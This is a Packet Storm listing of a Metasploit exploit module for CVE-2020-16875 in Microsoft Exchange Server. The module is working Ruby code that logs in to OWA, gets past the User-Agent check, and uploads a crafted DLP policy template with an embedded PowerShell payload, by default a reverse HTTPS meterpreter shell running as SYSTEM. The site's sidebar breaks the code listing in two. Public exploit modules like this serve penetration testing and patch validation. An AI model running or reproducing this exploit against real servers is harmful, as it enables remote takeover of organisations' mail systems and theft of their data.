Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution

Authored by mr_me, wvu | Site metasploit.com

Posted Sep 17, 2020

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the "Data Loss Prevention" role assigned and an active mailbox. If the user is in the "Compliance Management" or greater "Organization Management" role groups, then they have the "Data Loss Prevention" role. Since the user who installed Exchange is in the "Organization Management" role group, they transitively have the "Data Loss Prevention" role. The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Tested against Exchange Server 2016 CU14 on Windows Server 2016.

tags | exploit, remote, arbitrary
systems | windows
advisories | CVE-2020-16875
SHA-256 | 9c64ade1b9672eb090b36bc174f9f1a9a315ff2f06c304a01bbbea3b70e0d409 Download | Favorite | View

Related Files

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
        'Description' => %q{
          This vulnerability allows remote attackers to execute arbitrary code
          on affected installations of Exchange Server. Authentication is
          required to exploit this vulnerability. Additionally, the target user
          must have the "Data Loss Prevention" role assigned and an active
          mailbox.

          If the user is in the "Compliance Management" or greater "Organization
          Management" role groups, then they have the "Data Loss Prevention"
          role. Since the user who installed Exchange is in the "Organization
          Management" role group, they transitively have the "Data Loss
          Prevention" role.

          The specific flaw exists within the processing of the New-DlpPolicy
          cmdlet. The issue results from the lack of proper validation of
          user-supplied template data when creating a DLP policy. An attacker
          can leverage this vulnerability to execute code in the context of
          SYSTEM.

          Tested against Exchange Server 2016 CU14 on Windows Server 2016.
        },
        'Author' => [
          'mr_me', # Discovery, exploits, and most of the words above
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-16875'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
          ['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-
and-2016'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
        ],
        'DisclosureDate' => '2020-09-08', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          ['Exchange Server 2016 and 2019 w/o KB4577352', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
          'HttpClientTimeout' => 5,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
            CONFIG_CHANGES, # Creates a new DLP policy
            ARTIFACTS_ON_DISK # Uses a DLP policy template file
          ]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [false, 'OWA username']),
      OptString.new('PASSWORD', [false, 'OWA password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    end

    unless res.code == 200 && res.body.include?('<title>Outlook</title>')
      return CheckCode::Unknown('Target does not appear to be running OWA.')
    end

    CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
  end

  def exploit
    owa_login
    create_dlp_policy(retrieve_viewstate)
  end

  def owa_login
    unless username && password
      fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
    end

    print_status("Logging in to OWA with creds #{username}:#{password}")

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
      'vars_post' => {
        'username' => username,
        'password' => password,
        'flags' => '',
        'destination' => full_uri('/owa/', vhost_uri: true)
      },
      'keep_cookies' => true
    }, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth

    unless res
      fail_with(Failure::Unreachable, 'Failed to access OWA login page')
    end

    unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
      if res.body.include?('There are too many active sessions connected to this mailbox.')
        fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
      end

      fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
    end

    if res.body.include?('Choose your preferred display language and home time zone below.')
      fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
    end

    print_good('Successfully logged in to OWA')
  end

  def retrieve_viewstate
    print_status('Retrieving ViewState from DLP policy creation page')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
      'agent' => '', # HACK: Bypass Exchange's User-Agent validation
      'keep_cookies' => true
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
    end

    unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id =
"__VIEWSTATE"]/@value')&.text)
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
    end

    print_good('Successfully retrieved ViewState')
    viewstate
  end

  def create_dlp_policy(viewstate)
    print_status('Creating custom DLP policy from malicious template')
    vprint_status("DLP policy name: #{dlp_policy_name}")

    form_data = Rex::MIME::Message.new
    form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
    form_data.add_part(
      'ResultPanePlaceHolder_ButtonsPanel_btnNext',
      nil,
      nil,
      'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
    )
    form_data.add_part(
      dlp_policy_name,
      nil,
      nil,
      'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
    )
    form_data.add_part(
      dlp_policy_template,
      'text/xml',
      nil,
      %(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#
{dlp_policy_filename}")
    )

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
      'agent' => '', # HACK: Bypass Exchange's User-Agent validation
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s
    }, 0)
  end

  def dlp_policy_template
    # https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
    <<~XML
      <?xml version="1.0" encoding="UTF-8"?>
      <dlpPolicyTemplates>
        <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled"
version="15.0.2.0">
          <contentVersion>4</contentVersion>
          <publisherName>Metasploit</publisherName>
          <name>
            <localizedString lang="en">#{dlp_policy_name}</localizedString>
          </name>
          <description>
            <localizedString lang="en">wvu was here</localizedString>
          </description>
          <keywords></keywords>
          <ruleParameters></ruleParameters>
          <policyCommands>
            <commandBlock>
              <![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
            </commandBlock>
          </policyCommands>
          <policyCommandsResources></policyCommandsResources>
        </dlpPolicyTemplate>
      </dlpPolicyTemplates>
    XML
  end

  def dlp_policy_name
    @dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
  end

  def dlp_policy_filename
    @dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
  end

end
```

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed